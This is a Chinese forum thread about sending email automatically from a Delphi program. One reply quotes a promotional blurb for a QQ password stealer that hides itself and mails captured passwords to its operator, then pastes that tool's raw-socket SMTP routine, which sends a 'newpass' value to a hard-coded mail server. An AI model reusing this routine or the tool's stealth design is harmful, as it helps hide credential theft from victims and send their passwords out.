怎么自动发mail?(100分)

通过程序自动发mail,不用提示,最好不用NMsmtp

大家帮帮忙,luyear,cakk帮帮忙,小弟在此谢过

呵呵！既然已经亲点了两位，那我就不多言了！

luyear,cakk两位是版主,总要给点面子[]
希望大家勇跃发言

>>

为什么不用NMsmtp呢？很简单的，我刚刚做了一个

用NMsmtp我也写过,但感觉用它不是太好,所以想不用它试试,而且nmsmtp好象也不支持代理,
有没有人写过-自动发mail的程序,给个思路吧或给点资料,谢谢

关注

up

你要在什么情况下自动发E-MAil呢？

以下是从：
[red][green]OICQ 密码终结者 1.1版
只有一个可执行文件oicqhack.exe
运行后自动隐身,按CTRL+ALT+DEL看不到
只要有QQ成功登录，会将密码送到你的e-mail中
--------------注意-------------------
在C:/盘根目录下建一个文本文件，名字为email.txt
里面放入你的e-mail地址，如hack@21cn.com
注意不能有其它字符，包括空格也不能有
见本目录下的示例email.txt
--------------作者-----------------
njhhack
oicq:10772919
e-mail:njhhack@21cn.com
主页:hotsky.363.net
软件下载地址njhhack.8u8.com/oicqhack.zip[/green][/red]


的源码中截取出来的：
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of

1:s1:='HELO !'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+toemail+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"发件人"<'+fromemail+'>'+CRLF
+'To:"收件人"<'+toemail+'>'+CRLF
+'Subject:主题写在此处'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
{ SHOWMESSAGE(INTTOSTR(ERR));}
end;

procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
{ showmessage(inttostr(err)); }
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;



procedure TForm1.Button1Click(Sender: TObject);
begin
newpass:='我在试验自动发Email，okokokokokok？？'+CRLF+'你收到了嘛MYMYMY？';
fromemail:='发送人的EMAIL';
toemail:='接收人的EMAIL';
SendPass;
CLOSE;
end;

接受答案了.